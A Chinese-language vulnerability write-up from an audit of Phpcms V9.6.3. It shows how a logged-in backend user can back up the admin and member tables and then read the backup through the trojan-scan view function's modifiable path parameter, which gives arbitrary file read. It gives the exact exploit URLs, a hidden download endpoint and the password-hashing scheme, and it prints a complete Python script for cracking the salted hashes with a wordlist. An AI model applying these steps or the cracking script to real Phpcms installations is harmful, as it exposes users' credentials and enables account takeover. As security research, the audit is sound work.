版本:Phpcms V9.6.3 Release 20170515
环境:php7
后台->扩展->数据库工具+木马查杀->数据库备份泄露->爆破密码
首先回忆一下,木马查杀会根据特征值遍历文件并匹配特征,同时可以点击“查看”在线查看对应文件。点击“查看”并抓包,可以发现查看文件的参数可以被修改,因此我们可以控制此参数达到任意文件查看,但后端对重要的database.php和system.php文件进行了保护,不允许在线查看,不过此外的所有文件都可以在线查看。
首先在数据库工具处选择备份,对于最重要的数据库文件资料,无疑是存储着管理员资料的admin
表和存储着会员资料的member
表。先对这两个表进行备份:
备份完成后,会返回备份sql文件名称(此例为06xlxl3diu8z3blf07f3_db_20200317_1.sql),对应的目录为/caches/bakup/default/
。然后我们用木马查杀的在线查看功能,修改查看文件路径为我们备份好的sql文件路径。
单独提取出查看文件的url链接为:/phpcms/index.php?m=scan&c=index&a=view&url=caches\bakup\default\your_backup_sqlfile.sql&pc_hash=
另附下载api,网页端没有接口但后端存在:/phpcms/index.php?m=admin&c=database&a=public_down&pdoname=\caches\bakup\default&filename=your_bakup_sqlfile.sql
当然此接口都是需要身份认证的,即利用前提是登录进后台。
然后此时获得的备份文件中已有数据库保存的信息,如用户名及密码等。但此时的密码是加密过的,加密机制为先把传入的password明文去掉两边空格,md5加密然后与一个6位长度的随机字符串encrypt拼接,再次进行md5加密。然后每次登录都会重置随机字符串并用它再md5加密一遍password并更新保存。
加密过程:$password = md5(md5($_POST['password'])+$encrypt);
爆破脚本:
#!/usr/bin/python
# -*- coding:utf8 -*-
import hashlib,os,sys,argparse
import threading
description = """
尝试根据密文与salt碰撞明文,需要传入密码本,不然直接爆破不实际
攻击对象 : phpcms
后台位置 : /admin.php
默认帐号 : phpcms
默认密码 : phpcms
加密方式 : 先把传入的password去掉两边空格,md5加密然后与一个6位长度的随机字符串encrypt拼接,再次进行md5加密
"""
class RUN:
def __init__(self):
self.info = self.terminal_input()
self.start()
def start(self):
if self.info['file'] != None:
try:
F = open(self.info['file'],'r')
except:
raise('密码本读取失败')
for x in F:
x = x.replace('\n','')
if self.mEncrypt(x) == self.info['password']:
print('密码:'+x) # 爆破得出密码
sys.exit(0)
else:
raise('无密码本')
def mEncrypt(self,x):
'''
MD5加密
:param x: 弱密码
:return:密文
'''
m = hashlib.md5(x.encode()).hexdigest()
n = m + self.info['encrypt'] # 加密一次后拼接再加密
o = hashlib.md5(n.encode()).hexdigest()
return o
def terminal_input(self):
'''
接收参数
:return:
'''
ter_opt = {}
if (len(sys.argv) == 1):
sys.argv.append('-h')
parser = argparse.ArgumentParser(description=self.help(), add_help=True)
parser.add_argument('-e', '--encrypt', help='6位长度的随机字符串')
parser.add_argument('-p','--password',help='数据库存储密文')
parser.add_argument('-f','--file',default=None,help='弱密码本')
self.argvs = parser.parse_args()
for x, y in self.argvs._get_kwargs():
ter_opt[x] = y
return ter_opt
def help(self):
print(description)
return
if __name__ == '__main__':
x = RUN()
小结
phpcms的审计工作暂告一段落,发现该cms的SQL处理模块比较老旧,有多个地方存在变量覆盖漏洞(同时部分extract()
又做了变量覆盖保护,看不懂这种操作)。发现的漏洞都存在于后台页面,利用局限性很大,希望下一个cms能挖掘到有价值的洞。